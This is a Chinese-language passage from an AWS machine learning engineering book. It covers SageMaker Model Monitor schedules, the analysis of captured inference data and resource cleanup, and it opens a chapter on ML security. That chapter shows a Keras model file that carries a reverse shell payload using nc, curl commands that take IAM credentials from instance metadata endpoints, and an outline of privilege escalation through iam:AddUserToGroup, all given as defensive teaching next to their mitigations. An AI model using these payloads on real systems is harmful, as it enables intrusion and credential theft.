一旦每小时处理作业分析了捕获的数据,SageMaker Model Monitor 将标记包含浮点 y 值的有效载荷为“坏输入。”
重要注意
如果我们将建议约束中 a
和 b
列(分别包含 x 和 y 值)的 inferred_type
值从 'Integral'
改为 'Fractional'
会发生什么?由于 启用数据捕获和模拟预测 部分中 generate_sample_requests()
函数生成的有效载荷值涉及整数和浮点值的组合,SageMaker Model Monitor 将标记所有输入请求有效载荷为“好输入”,并且它不会报告任何检测到的违规行为。
-
让我们定义
generate_label()
函数,这将帮助我们生成一个随机字符串标签,用于后续步骤中的监控计划名称:from sagemaker.model_monitor import (
CronExpressionGenerator
)
from string import ascii_uppercase
import random
def generate_label():
chars = random.choices(ascii_uppercase, k=5)
output = 'monitor-' + ''.join(chars)
return output
-
让我们使用
baseline_statistics()
和suggested_constraints()
方法分别加载基线统计和推荐约束:s3_report_path = f'{base}/report'
baseline_statistics = default_monitor.baseline_statistics()
constraints = default_monitor.suggested_constraints()
-
在后续步骤中,我们将准备用于配置监控作业每小时运行一次的 cron 表达式:
cron_expression = CronExpressionGenerator.hourly()
注意
有关其他支持的 cron 表达式的更多详细信息,请查阅 docs.aws.amazon.com/sagemaker/latest/dg/model-monitor-schedule-expression.xhtml
。
-
准备好先决条件后,让我们使用
DefaultModelMonitor
实例的create_monitoring_schedule()
方法创建监控计划:schedule_dict = {
'monitor_schedule_name': generate_label(),
'endpoint_input': predictor.endpoint,
'output_s3_uri': s3_report_path,
'statistics': baseline_statistics,
'constraints': constraints,
'schedule_cron_expression': cron_expression,
'enable_cloudwatch_metrics': True
}
default_monitor.create_monitoring_schedule(
**schedule_dict
)
运行此代码块后,schedule
将运行一个 SageMaker Processing 作业(每小时运行一次),处理并监控已捕获的数据。
注意
如果你在使用 predictor.endpoint
时遇到弃用警告或问题,你可以用 predictor.endpoint_name
来替换它。有关使用 SageMaker Python SDK 2.x 版本时的弃用信息(包括破坏性和非破坏性更改),请查阅 sagemaker.readthedocs.io/en/stable/v2.xhtml
。
-
让我们快速检查监控计划的属性:
flatten(default_monitor.describe_schedule())
这应该生成一个类似于以下 DataFrame:
图 8.12 – 描述监控计划属性的 DataFrame
在这里,我们可以看到 MonitoringScheduleStatus
的值仍然是 Pending
。
-
使用
sleep()
函数等待 5 分钟后再执行下一个单元格:from time import sleep
sleep(300)
注意
在此,我们等待几分钟,直到监控计划创建完成(假设在 5 分钟内完成)。
-
使用
DefaultModelMonitor
实例的latest_monitoring_constraint_violations()
和latest_monitoring_statistics()
方法测试和加载监控约束违规和统计的初始值集:dm = default_monitor
monitoring_violations = \
dm.latest_monitoring_constraint_violations()
monitoring_statistics = \
dm.latest_monitoring_statistics()
-
定义
get_violations()
和load_and_load_violations()
函数:%%time
from time import sleep
def get_violations():
return \
dm.latest_monitoring_constraint_violations()
def loop_and_load_violations():
for i in range(0, 2 * 120):
print(f"ITERATION # {i}")
print("> SLEEPING FOR 60 SECONDS")
sleep(60)
try:
v = get_violations()
violations = v
if violations:
return violations
except:
pass
print("> DONE!")
return None
-
调用我们在上一步中定义的
load_and_load_violations()
函数:loop_and_load_violations()
这应该生成一组类似于以下日志:
图 8.13 – 运行 loop_and_load_violations() 函数时生成的日志
在这里,我们只是迭代并等待计划中的 Model Monitor 处理作业生成包含检测到的违规行为的分析报告,以及从捕获的数据中计算出的其他统计值。
重要提示
此步骤可能需要一小时或更长时间才能完成。在此步骤完成等待期间,您可以继续本章下一节“分析捕获的数据”的动手实践解决方案。
-
一旦
loop_and_load_violations()
函数运行完成,你可以使用DefaultModelMonitor
实例的latest_monitoring_constraint_violations()
方法来加载和检查检测到的违规。violations = dm.latest_monitoring_constraint_violations()
violations.__dict__
这应该会给我们一个嵌套字典的值,类似于以下代码中的值:
{'body_dict': {'violations': [
{'feature_name': 'b',
'constraint_check_type': 'data_type_check',
'description': 'Data type match requirement is not met. Expected data type: Integral, Expected match: 100.0%. Observed: Only 50.0% of data is Integral.'}]
},
'file_s3_uri': 's3://<BUCKET>/chapter08/report/1-2022-05-23-14-39-16-279/monitor-YTADH/2022/05/23/16/constraint_violations.json',
'kms_key': None,
'session': None
}
在这里,我们可以看到我们对特征b
(对应于y输入值)有多个检测到的违规。为了更好地了解这些检测到的违规,我们可以检查可用的描述——数据类型匹配要求未满足。预期数据类型:整数,预期匹配:100.0%。观察结果:只有 50.0%的数据是整数
。
-
使用
DefaultModelMonitor
实例的latest_monitoring_statistics()
方法加载和检查统计数据。monitoring_statistics = dm.latest_monitoring_statistics()
monitoring_statistics.__dict__
这应该会给我们一个类似于以下结构的嵌套值:
{'body_dict': {'version': 0.0,
'dataset': {'item_count': 190},
'features': [{'name': 'label',
'inferred_type': 'Integral',
'numerical_statistics': {'common': {'num_present': 190, 'num_missing': 0},
'mean': 1.2052631578947368,
'sum': 229.0,
'std_dev': 0.7362591679068381,
'min': 0.0,
'max': 2.0,
... (and more) ...
这不是很简单吗? 想象一下自己从头开始构建这个!这可能需要你几天时间来编码和构建。
到目前为止,你应该对如何配置和使用SageMaker 模型监控器来检测模型和数据中的违规和潜在问题有了更好的了解。在我们清理本章创建和使用的资源之前,我们将探讨另一种关于如何分析和处理 S3 桶中由模型监控器捕获和收集的数据的方法。
分析捕获的数据
当然,还有其他方法来处理存储在 S3 桶中的捕获数据。除了使用上一节中讨论的内置模型监控功能和特性之外,我们还可以从 S3 桶中下载收集到的机器学习推理端点数据,并在笔记本中直接分析它。
注意
仍然建议利用 SageMaker 内置的模型监控功能和特性。然而,了解这种方法将帮助我们解决在使用和运行 SageMaker 中可用的自动化解决方案时可能遇到的问题。
按照以下步骤使用各种 Python 库在 S3 中处理、清理和分析收集到的机器学习推理数据:
- 通过点击文件菜单并从新建子菜单下的选项列表中选择笔记本来创建一个新的笔记本。
注意
注意,我们将在本章前几节创建的其他笔记本文件旁边的CH08
目录内创建新的笔记本。
-
在数据科学(在SageMaker 镜像下找到的选项)
-
Python 3
-
无脚本
之后点击选择按钮。
-
右键单击新笔记本标签页的名称,然后在新名称下选择05 - 分析捕获的数据.ipynb。点击重命名按钮。
-
现在我们已经创建了新的笔记本,让我们使用来自
s3_bucket
和capture_upload_path
的%store
魔法。%store -r s3_bucket
%store -r capture_upload_path
注意
等等!capture_upload_path
是从哪里来的?在启用数据捕获和模拟预测部分,我们初始化了capture_upload_path
并将其值设置为存储捕获数据的 S3 路径(这些数据是SageMaker Model Monitor捕获的)。
-
获取包含推理请求输入和输出数据的每个生成的
jsonl
文件的 S3 路径:results = !aws s3 ls {capture_upload_path} --recursive
processed = []
for result in results:
partial = result.split()[-1]
path = f"s3://{s3_bucket}/{partial}"
processed.append(path)
processed
-
使用
mkdir
命令创建captured
目录:!mkdir -p captured
-
接下来,使用
aws s3 cp
命令将每个生成的jsonl
文件复制到我们在上一步创建的captured
目录中:for index, path in enumerate(processed):
print(index, path)
!aws s3 cp {path} captured/{index}.jsonl
-
定义
load_json_file()
函数:import json
def load_json_file(path):
output = []
with open(path) as f:
output = [json.loads(line) for line in f]
return output
-
从
captured
目录中下载的每个jsonl
文件中提取 JSON 值:all_json = []
for index, _ in enumerate(processed):
print(f"INDEX: {index}")
new_records = load_json_file(
f"captured/{index}.jsonl"
)
all_json = all_json + new_records
all_json
-
使用
pip
安装flatten-dict
库:!pip3 install flatten-dict
正如我们在接下来的步骤中将要看到的,flatten-dict
包在“扁平化”任何嵌套字典结构方面非常有用。
-
在
all_json
列表中存储的第一个条目上测试flatten()
函数(来自flatten-dict
库):from flatten_dict import flatten
first = flatten(all_json[0], reducer='dot')
first
这应该给我们一个类似于以下结构的扁平化结构:
{'captureData.endpointInput.observedContentType': 'text/csv',
'captureData.endpointInput.mode': 'INPUT',
'captureData.endpointInput.data': '0,0',
'captureData.endpointInput.encoding': 'CSV',
'captureData.endpointOutput.observedContentType': 'text/csv; charset=utf-8',
'captureData.endpointOutput.mode': 'OUTPUT',
'captureData.endpointOutput.data': '2\n',
'captureData.endpointOutput.encoding': 'CSV',
'eventMetadata.eventId': 'b73b5e15-06ad-48af-b53e-6b8800e98678',
'eventMetadata.inferenceTime': '2022-05-23T18:43:42Z',
'eventVersion': '0'}
注意
我们将很快使用flatten()
函数将存储在all_json
中的嵌套 JSON 值转换为“扁平化”的 JSON 值。然后,这个“扁平化”的 JSON 值列表将被转换为pandas DataFrame(我们将在后续步骤中处理和分析)。
-
使用以下代码块将
all_json
列表中存储的每个 JSON 值进行扁平化:flattened_json = []
for entry in all_json:
result = flatten(entry, reducer='dot')
flattened_json.append(result)
flattened_json
-
接下来,将扁平化结构加载到 pandas DataFrame 中:
import pandas as pd
df = pd.DataFrame(flattened_json)
df
这应该产生一个类似于以下 DataFrame 的 DataFrame:
图 8.14 – 包含收集到的监控数据的 DataFrame
在这里,我们可以看到收集到的端点数据在 DataFrame 内部进行了扁平化。
-
现在,让我们通过从 DataFrame 列
captureData.endpointInput.data
中提取x和y值来稍微整理一下,该列包含输入请求数据:df[['x', 'y']] = df['captureData.endpointInput.data'].str.split(',', 1, expand=True)
-
之后,让我们从 DataFrame 列
captureData.endpointOutput.data
中提取label
值,该列包含输出响应数据。将label
值存储在一个名为predicted_label
的新列中:df['predicted_label'] = df['captureData.endpointOutput.data'].str.strip()
-
让我们准备只包含原始
DataFrame
中的三个列(predicted_label
、x
和y
)的clean_df
DataFrame:clean_df = df[['predicted_label', 'x', 'y']]
clean_df.head()
这应该给我们一个类似于以下 DataFrame 的 DataFrame:
图 8.15 – 包含预测标签、x 和 y 值的 DataFrame
在这里,我们可以看到y
列的一些值是整数,而一些值是浮点格式。
-
接下来,让我们使用
astype
方法将存储在clean_df
DataFrame 中的值进行类型转换:clean_df = clean_df.astype({
'predicted_label': 'int',
'x': 'float',
'y': 'float',
})
clean_df.head()
这应该给我们一个类似于以下 DataFrame 的 DataFrame:
图 8.16 – x 和 y 的值转换为浮点数
现在,x
和y
列下的一切都是浮点格式。
在这一点上,我们可以运行不同类型的分析,例如手动计算不同类型的统计数据,类似于 SageMaker Model Monitor 自动执行的操作。我们还可以使用这种方法来调试 Model Monitor 处理作业在分析收集的数据时遇到的数据编码问题,类似于我们在github.com/aws/sagemaker-python-sdk/issues/1896
中遇到的情况。
删除带有监控计划的端点
既然我们已经完成了对 ML 推理端点的使用,让我们将其删除,包括附带的监控器和监控计划。
按照以下步骤列出我们 ML 推理端点的所有附加监控器,并删除任何附加的监控计划,包括端点:
- 通过点击文件菜单并从新建子菜单下的选项列表中选择Notebook来创建一个新的 Notebook。
注意
注意,我们将在本章前几节创建的其他 Notebook 文件旁边的CH08
目录内创建新的 Notebook。
-
在SageMaker 镜像下的数据科学(选项)
-
Python 3
-
无脚本
之后点击选择按钮。
-
右键单击新 Notebook 标签页的名称,在新名称下选择06 - 删除带有监控计划的端点.ipynb。点击重命名按钮。
-
现在我们有了新的 Notebook,让我们使用 IPython 的
%store
魔法来加载存储的endpoint_name
变量的值:%store -r endpoint_name
-
使用以下代码块初始化
Predictor
实例并将其附加到现有的 ML 推理端点:import sagemaker
from sagemaker import get_execution_role
from sagemaker.predictor import Predictor
session = sagemaker.Session()
role = get_execution_role()
predictor = Predictor(
endpoint_name=endpoint_name,
sagemaker_session=session,
role=role
)
-
在删除它们之前,让我们快速列出任何附加的监控器:
monitors = predictor.list_monitors()
for monitor in monitors:
print(monitor.__dict__)
在这里,我们使用了__dict__
属性来检查监控实例的属性。
-
让我们使用
delete_monitoring_schedule()
方法删除每个监控器:for monitor in monitors:
monitor.delete_monitoring_schedule()
这应该会产生类似于删除带有名称的监控计划:monitor-HWFEL
的输出。
-
最后,让我们使用
delete_endpoint()
方法删除推理端点:predictor.delete_endpoint()
确保您还停止了在本章中使用过的 Notebook 中任何运行单元格的执行。
清理
既然我们已经完成了本章的动手实践解决方案,是时候清理并关闭我们将不再使用的任何资源了。按照以下步骤查找并关闭 SageMaker Studio 中任何剩余的运行实例:
- 点击侧边栏中突出显示的运行实例和内核图标,如下截图所示:
图 8.17 – 关闭运行实例
点击运行实例和内核图标应该会打开并显示 SageMaker Studio 中的运行实例、应用和终端。
- 通过点击每个实例的关闭按钮,在正在运行的实例下关闭所有运行实例,如前一张截图所示。点击关闭按钮将打开一个弹出窗口,以验证实例关闭操作。点击全部关闭按钮继续。
重要提示
确保您关闭编辑器面板中打开的笔记本标签页。在某些情况下,当 SageMaker 检测到打开的笔记本标签页时,它会自动打开一个实例。
- 确保您还检查并删除SageMaker 资源下所有正在运行的推理端点(如果有):
图 8.18 – 检查正在运行的推理端点列表
要检查是否有正在运行的推理端点,请点击前一张截图所示SageMaker 资源图标,然后从下拉菜单中选择端点。
- 最后,打开文件菜单,并从可用选项中选择关闭。这应该确保 SageMaker Studio 内部的所有运行实例都已关闭。
注意,此清理操作需要在使用SageMaker Studio后执行。即使在不活跃期间,SageMaker 也不会自动关闭这些资源。
摘要
在本章中,我们利用 SageMaker 中可用的模型注册表来注册、组织和管理我们的机器学习模型。在部署存储在注册表中的机器学习模型后,我们使用SageMaker Model Monitor来捕获数据并运行分析收集数据的处理作业,并标记任何检测到的问题或偏差。
在下一章中,我们将重点介绍使用各种策略和解决方案来保护机器学习环境和系统。如果您认真设计并构建安全的机器学习系统和环境,那么下一章就是为您准备的!
进一步阅读
关于本章所涉及主题的更多信息,请随意查看以下资源:
-
SageMaker Model Registry – 查看部署历史 (
docs.aws.amazon.com/sagemaker/latest/dg/model-registry-deploy-history.xhtml
) -
SageMaker Model Monitor – 监控模型的数据质量、偏差和可解释性 (
docs.aws.amazon.com/sagemaker/latest/dg/model-monitor.xhtml
) -
SageMaker Python SDK — Amazon SageMaker Model Monitor (
sagemaker.readthedocs.io/en/stable/amazon_sagemaker_model_monitoring.xhtml
)
第九章:安全、治理和合规策略
在本书的前八章中,我们专注于使我们的机器学习(ML)实验和部署在云中运行。除此之外,我们还能够使用各种服务分析、清理和转换几个样本数据集。对于一些动手实践示例,我们使用了从安全角度相对安全(因为这些数据集不包含个人身份信息(PII))的合成数据集。在前几章中,我们能够完成很多事情,但重要的是要注意,在我们的 AWS 账户中运行数据工程和机器学习工程工作负载只是第一步!一旦我们需要处理生产级别的机器学习需求,我们就必须担心其他与机器学习系统和流程的安全、治理和合规相关的问题。为了解决这些挑战,我们必须使用各种解决方案和技术,帮助我们预防、检测、减轻和报告这些问题。
在本章中,我们将涵盖以下主题:
-
管理机器学习环境的安全和合规性
-
保护数据隐私和模型隐私
-
建立机器学习治理
与本书中的其他章节不同,本章将不会包括完整的分步解决方案,因为我们将会讨论广泛的网络安全主题。这些主题将涵盖如何保护我们在前几章中讨论的不同服务和解决方案的不同策略和技术。对于这些主题中的每一个,我们将更深入地探讨相关的子主题。我们还将讨论一些可以在现有的 AWS 上运行的机器学习环境中轻松实施的网络安全最佳实践。带着这些目标,让我们开始吧!
管理机器学习环境的安全和合规性
数据科学团队通常花费大量时间处理数据、训练机器学习模型并将模型部署到推理端点。由于成功实现其主要目标所需的工作和研究量很大,这些团队往往将任何关于安全性和合规性的“额外工作”放在次要位置。在云中运行了几个月的生产级别机器学习工作负载后,这些团队可能会因为以下原因而遇到各种与安全相关的问题:
-
对安全、治理和合规重要性缺乏理解和认识
-
对相关合规法规和政策缺乏了解和认识
-
缺乏稳固的安全流程和标准
-
内部跟踪和报告机制不佳
为了更好地了解如何正确管理和处理这些问题,我们将在本节中深入探讨以下主题:
-
身份验证和授权
-
网络安全
-
静态和传输中的加密
-
管理合规报告
-
漏洞管理
我们将从如何在与前几章中使用的不同机器学习和数据工程服务进行安全工作时与AWS 身份和访问管理(IAM)服务一起工作的最佳实践开始。
认证和授权
在第四章“AWS 上的无服务器数据管理”中,我们创建了一个 IAM 用户并将其附加到一些现有的策略上。除此之外,我们还创建并附加了一个自定义内联策略,该策略为 IAM 用户提供了管理Redshift Serverless和Lake Formation资源的必要权限。如果你已经完成了该章节的动手解决方案,你可能已经想知道,“为什么要费这么大的劲来设置这个?”。一方面,在撰写本文时,Redshift Serverless 不支持使用根账户执行查询。同时,使用具有有限权限集的 IAM 用户比直接使用根账户更安全。这限制了攻击者在用户账户被入侵时可能造成的损害。
注意
在我们的例子中,如果 IAM(非根)用户账户被入侵,攻击者只能对我们的 Redshift Serverless 和 Lake Formation 资源造成损害(除非他们能够执行权限提升攻击)。我们将在稍后详细讨论这个话题!
如果根账户的访问密钥和/或凭证被盗,攻击者将能够访问所有 AWS 服务的所有资源。另一方面,如果具有有限权限集的 IAM 用户的访问密钥和/或凭证被盗,攻击者将只能访问 IAM 用户可访问的资源。
假设我们不小心将以下代码推送到 GitHub 或 GitLab 的公共仓库中:
import boto3
sagemaker_client = boto3.client(
'sagemaker-runtime',
aws_access_key_id="<INSERT ACCESS KEY ID>",
aws_secret_access_key="<INSERT SECRET ACCESS KEY>"
)
假设这里使用的凭证与一个根账户用户相关联,攻击者可以使用这些凭证造成“广泛的破坏”,例如删除账户中所有现有的资源或创建将被用于攻击其他账户的新资源。
注意
如何操作? 一个可能的行动是黑客使用从源代码和历史记录中获取的凭证配置 AWS CLI,然后运行 AWS CLI 命令,终止 AWS 账户中所有正在运行的资源。
为了防止出现这种情况,我们可以使用以下代码块代替:
sagemaker_client = boto3.client('sagemaker-runtime')
在这里,我们期望boto3
能够自动定位并使用脚本运行环境中的凭证。例如,如果脚本在 AWS Cloud9 环境中运行,凭证可能存储在~/.aws
目录中。
此外,以下是一些关于如何确保我们的 IAM 设置的最佳实践和推荐步骤:
-
停止使用并删除 AWS 根账户的访问密钥(如果可能的话)。
-
在根账户和所有 IAM 用户上启用多因素认证(MFA)。
-
定期轮换访问密钥和密码。
-
在可能的情况下,使用(并假定)IAM 角色来委派权限,而不是使用长期密码或访问密钥凭证。
-
如果可能的话,定期过期和轮换密码和密钥(例如,每 90 天一次)。
-
使用 IAM 策略模拟器 和 IAM 访问分析器 实现一个“最小权限”配置。
除了遵循最佳实践外,我们还应定期检查任何 IAM 权限配置错误。我们必须花时间深入挖掘并验证哪些是可利用的。例如,一个拥有有限权限集的 IAM 用户的攻击者可能会执行 iam:AddUserToGroup
权限,攻击者可以使用 AWS CLI(或任何替代方法)将 IAM 用户添加到一个具有更宽松权限集的现有 IAM 组中。如果 AdministratorAccess
管理策略附加到其中一个现有的 IAM 组,攻击者可以将受损害的 IAM 用户添加到带有附加 AdministratorAccess
管理策略的组中,从而获得对整个 AWS 账户的完全管理员访问权限。请注意,这只是可能情景之一,还有其他几种已知的权限提升方法。在某些情况下,攻击者在获得完全管理员访问权限之前可能会使用这些技术的链或组合。为了防止这类攻击,我们应该尽可能避免授予 iam:*
权限。
到目前为止,你可能想知道,我们如何测试我们 AWS 账户的安全性?有几个工具,包括开源利用框架和安全测试工具包,如 Pacu、ScoutSuite 和 WeirdAAL(AWS 攻击库),可以用来评估和测试云环境的安全性。我们不会在本书中讨论如何使用这些工具,所以你可以单独查看这些工具。
备注
当攻击者获得对 AWS 账户的完全管理员访问权限时会发生什么?嗯,可能会有各种可怕的事情发生!例如,攻击者现在可以自由地启动 AWS 资源,如 EC2 实例,这些实例可以用来攻击其他账户和系统。攻击者还可以使用受损害的账户来挖掘加密货币(例如,比特币)。攻击者还应该能够窃取和访问存储在受损害 AWS 账户中数据库中的数据。所有 AWS 资源都可能被删除。
在结束本节之前,让我们讨论一下 SageMaker 执行角色的运作方式,以便我们更好地了解如何提高我们 ML 环境设置的安全性。当我们使用 get_execution_role
函数时,我们会得到为 SageMaker Studio 或运行代码的 Notebook 实例创建的 IAM 角色:
from sagemaker import get_execution_role
role = get_execution_role()
根据这个 IAM 角色的设置方式,它可能附带了AmazonSageMakerFullAccess
IAM 策略,这允许访问多个 AWS 服务。如果配置了更宽松的权限集,能够访问 SageMaker Studio 或 Notebook 实例的攻击者可能能够通过提升权限攻击来获得额外的权限。假设你计划为 10 名参与者举办一个 ML 工作坊。为了设置环境,你首先为每个参与者创建了一个 IAM 用户,以便他们可以访问专用的 Notebook 实例(或相应的 SageMaker Studio 域和用户集),类似于以下图中所示:
图 9.1 – ML 工作坊环境中的 IAM 配置示例
在这里,IAM 用户只有列出和访问可用的 Notebook 实例的权限。然而,Notebook 实例附带了 IAM 角色,这些角色可能具有攻击者可以利用的额外权限。换句话说,一旦攻击者(作为工作坊参与者)使用 IAM 用户之一访问工作坊期间可用的 Notebook 实例之一,攻击者就可以简单地在该 Notebook 实例的终端内打开一个curl
命令:
curl http://169.254.169.254/latest/meta-data/identity-
credentials/ec2/security-credentials/ec2-instance
或者,如果你为工作坊设置了并使用了SageMaker Studio,攻击者可以运行以下命令并获取安全凭证:
curl 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
一旦凭证被窃取,攻击者现在有多种选择来使用这些凭证执行特定的攻击。这很可怕,对吧?如果附加到 Notebook 实例的 IAM 角色附带了AdministratorAccess
管理策略,这意味着攻击者将能够通过提升权限攻击获得完整的管理员访问权限!
为了减轻和管理与类似场景相关的风险,建议在配置附加到 AWS 资源的 IAM 角色时实践最小权限原则。这意味着我们需要深入了解附加到 IAM 角色的策略,并检查哪些权限可以被移除或降低。这将限制即使执行了提升权限攻击后的潜在损害。此外,如果你要举办一个 ML 工作坊,你可能希望使用SageMaker Studio Lab而不是在你的 AWS 账户中为参与者创建 Notebook 实例。采用这种方法,工作坊参与者可以运行 ML 训练实验和部署,而无需使用 AWS 账户。同时,使用 SageMaker Studio Lab 是免费的,非常适合工作坊!
注意
更多关于这个主题的信息,请查看studiolab.sagemaker.aws/
。
网络安全
在训练和部署 ML 模型时,ML 工程师可能会意外使用一个包含攻击者准备的恶意代码的库或自定义容器镜像。例如,攻击者可能会生成一个包含反向 shell 有效载荷的model.h5
文件:
import tensorflow
from tensorflow.keras.layers import Input, Lambda, Softmax
from tensorflow.keras.models import Model
from tensorflow.keras.optimizers import Adam
def custom_layer(tensor):
PAYLOAD = 'rm /tmp/FCMHH; mkfifo /tmp/FCMHH; cat /tmp/FCMHH | /bin/sh -i 2>&1 | nc 127.0.0.1 14344 > /tmp/FCMHH'
__import__('os').system(PAYLOAD)
return tensor
input_layer = Input(shape=(10), name="input_layer")
lambda_layer = Lambda(
custom_layer,
name="lambda_layer"
)(input_layer)
output_layer = Softmax(name="output_layer")(lambda_layer)
model = Model(input_layer, output_layer, name="model")
model.compile(optimizer=Adam(lr=0.0004), loss="categorical_crossentropy")
model.save("model.h5")
在这里,攻击者利用Keras Lambda 层来运行自定义函数。加载生成的文件类似于使用 TensorFlow 加载其他模型的方式:
from tensorflow.keras.models import load_model
load_model("model.h5")
这有多种变体,包括向 pickle 文件和 YAML 文件注入有效载荷,这会影响其他库和框架,如scikit-learn和PyTorch。
注意
想了解更多如何在 ML 模型文件中注入恶意有效载荷的示例,请查看gist.github.com/joshualat/a3fdfa4d49d1d6725b1970133d06866b
。
一旦反向 shell 有效载荷在 ML 实例的训练和推理容器内执行,攻击者可能能够访问数据并将其传输到外部服务器。为了防止这类攻击,我们可以启用类似于以下代码块中所示的Estimator
对象:
estimator = Estimator(
image,
role,
instance_type='ml.p2.xlarge',
...
enable_network_isolation=True
)
一旦我们在后续步骤中使用fit()
方法运行训练作业,ML 实例内部的训练容器在训练作业运行期间将不再具有网络访问权限。
注意
当然,我们的第一层防御是避免使用来自不受信任和可能危险的来源的模型和代码。然而,尽管我们最好的意图,我们仍然可能意外地下载了受损害的资源。这就是为什么我们需要利用网络隔离解决方案作为下一层防御的原因。
我们可以通过准备和使用一个VPC(虚拟私有云)来获得类似的网络安全设置,而不需要以下内容:
-
互联网网关,它使公共子网中的资源能够访问互联网
-
NAT 网关,它允许私有子网中的资源建立“单向”出站连接
-
其他可能允许 VPC 内部和外部资源相互通信的类似网关
使用这种设置,部署在 VPC 内部的资源将不会拥有互联网连接。话虽如此,如果我们在一个部署在 VPC 内部的 EC2 实例中运行包含恶意代码的训练脚本,恶意代码将无法访问互联网并连接到 VPC 外部的服务器和资源。如果我们想从 S3 存储桶上传和下载文件怎么办?为了使这一功能正常工作,我们需要配置VPC 端点以启用对 AWS 服务(如 S3)的网络连接。如果我们想连接到另一个 VPC 内部的资源,我们可以使用AWS PrivateLink并使用它们的私有 IP 地址来访问这些资源。使用这种方法,资源不是通过互联网访问的,并且在使用 AWS PrivateLink 时不需要存在互联网网关(一个接口 VPC 端点)。
以下设置可以确保通过 PrivateLink 直接且更安全地访问 AWS 资源:
-
通过 PrivateLink 访问Amazon Athena
-
通过 PrivateLink 访问AWS Lambda
-
通过 PrivateLink 连接到Amazon Redshift
-
通过 PrivateLink 调用SageMaker 推理端点
-
通过 PrivateLink 连接到SageMaker Studio
-
通过 PrivateLink 访问API Gateway API
注意,这并不是使用 PrivateLink 可以保护的所有内容的详尽列表,因为还有许多与 PrivateLink 集成的服务。
注意
想要了解更多关于支持的服务列表,请查看docs.aws.amazon.com/vpc/latest/privatelink/aws-services-privatelink-support.xhtml
。
静态和传输中的加密
SageMaker 在训练机器学习模型时支持多种数据源选项。在大多数情况下,机器学习工程师默认使用Amazon S3存储桶作为数据的默认来源。在其他情况下,可能会使用Amazon Elastic File System(Amazon EFS)代替,尤其是在需要更高吞吐量的工作负载中。对于更高的性能吞吐量需求,我们可以使用Amazon FSx for Lustre(可能链接到 S3 存储桶作为源)。这些存储选项与AWS 密钥管理服务(AWS KMS)集成,有助于确保数据在写入文件系统之前自动加密(即,没有密钥无法读取)。
注意
想要了解更多关于加密概念,如非对称和对称加密、解密和封装加密,请查看docs.aws.amazon.com/crypto/latest/userguide/cryptography-concepts.xhtml
。
注意,在使用 KMS 时,我们有两种选择。第一种是使用默认的AWS 管理的密钥,第二种是创建并使用客户管理的密钥。我们应该何时使用客户管理的密钥? 如果我们想要更多的控制,例如启用密钥轮换以及撤销、禁用或删除密钥访问的选项,那么我们应该选择使用客户管理的密钥。如果你想知道训练和托管实例附加的存储卷是否可以使用 KMS 客户管理的密钥进行加密,那么答案是YES。要使用客户管理的密钥,我们只需指定一个可选的 KMS 密钥 ID,类似于以下代码块中的内容:
estimator = Estimator(
image,
...
volume_kms_key=<insert kms key ARN>,
output_kms_key=<insert kms key ARN>
)
...
estimator.deploy(
...
kms_key=<insert kms key ARN>
)
在这里,我们可以看到我们还可以指定一个可选的 KMS 密钥,该密钥将用于加密 Amazon S3 中的输出文件。除了加密静态数据外,我们还需要确保在执行分布式训练时数据传输的安全性。当在执行训练作业时使用多个实例,我们可以启用 容器间流量加密 来保护实例之间传输的数据。如果我们需要遵守特定的监管要求,我们需要确保传输的数据也已被加密。
当使用 SageMaker Python SDK 启用容器间流量加密时,操作简单:
estimator = Estimator(
image,
...
encrypt_inter_container_traffic=True
)
这不是很简单吗? 在启用容器间流量加密之前,请确保您了解其对整体训练时间和训练作业成本可能产生的影响。当使用分布式深度学习算法时,添加此额外的安全级别后,整体训练时间和成本可能会增加。对于 NetworkConfig
对象,类似于以下代码块中的内容:
config = NetworkConfig(
enable_network_isolation=True,
encrypt_inter_container_traffic=True
)
processor = ScriptProcessor(
...
network_config=config
)
processor.run(
...
)
注意,此方法应适用于不同“类型”的处理作业,如下所示:
-
用于模型可解释性和自动偏差指标计算的
SageMakerClarifyProcessor
-
用于使用 PySpark 处理作业的
PySparkProcessor
-
用于使用 scikit-learn 处理作业的
SKLearnProcessor
SageMaker 还支持在处理数据以及训练和部署模型时使用自定义容器镜像。这些容器镜像存储在 docker push
命令中,ECR 会自动加密这些镜像。一旦这些容器镜像被拉取(例如,使用 docker pull
命令),ECR 会自动解密这些镜像。
除了这些,我们还可以使用 KMS 在 SageMaker 中加密以下内容:
-
SageMaker Studio 存储卷
-
SageMaker 处理作业的输出文件
-
SageMaker Ground Truth 标注作业的输出数据
-
SageMaker Feature Store 的在线和离线存储
备注
这可能是我们第一次在这本书中提到 SageMaker Ground Truth 和 SageMaker Feature Store!如果您想知道这些是什么,SageMaker Ground Truth 是一种数据标注服务,它帮助机器学习从业者使用各种选项准备高质量的标注数据集,而 SageMaker Feature Store 是一个完全托管的特征存储,其中可以存储、共享和管理 ML 模型的特征。我们在这本书中不会深入探讨这些服务的具体工作方式,因此请随时查阅 docs.aws.amazon.com/sagemaker/latest/dg/data-label.xhtml
和 https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.xhtml 以获取更多关于这些主题的详细信息。
如果我们在外部执行数据处理、模型训练和模型部署呢? 好消息是,AWS 平台中的许多服务都与 KMS 集成。这意味着通常只需进行一些小的配置更改即可启用服务器端加密。以下是一些 KMS 立即可用的示例:
-
EBS 卷加密
-
Redshift 集群加密
-
加密 Amazon S3 对象
-
Glue DataBrew 作业写入的数据加密
-
加密存储在 CloudWatch 日志中的日志数据
我们还可以使用AWS Encryption SDK在将数据发送到 AWS 服务(例如 Amazon S3)之前加密数据。使用相同的客户端加密库,我们可以在从存储位置检索数据后解密数据。
注意
在处理 AWS 上的加密和解密需求时,有几个选项可供选择。除了AWS KMS和AWS Encryption SDK之外,还有DynamoDB Encryption Client和AWS CloudHSM。我们不会深入探讨每一个,所以请查阅 https://docs.aws.amazon.com/crypto/latest/userguide/awscryp-choose-toplevel.xhtml 以获取更多信息。
除了已经讨论的内容之外,我们还必须了解一些额外的技术,如何在使用 EC2 实例进行 ML 需求时保护并加密传输中的数据。在第二章 深度学习 AMIs中,我们从 EC2 实例内部的命令行启动了Jupyter Notebook应用程序。你可能已经注意到我们使用 HTTP 而不是 HTTPS 来访问应用程序。我们可以做的改进之一是使用 SSL(使用 Web 证书)加密服务器和浏览器之间的流量。另一个解决方案是使用SSH 隧道访问 Jupyter Notebook 应用程序。SSH 是什么? SSH 隧道是一种机制,涉及在两台计算机之间使用加密的 SSH 连接来通过安全通道转发连接:
图 9.2 – SSH 隧道
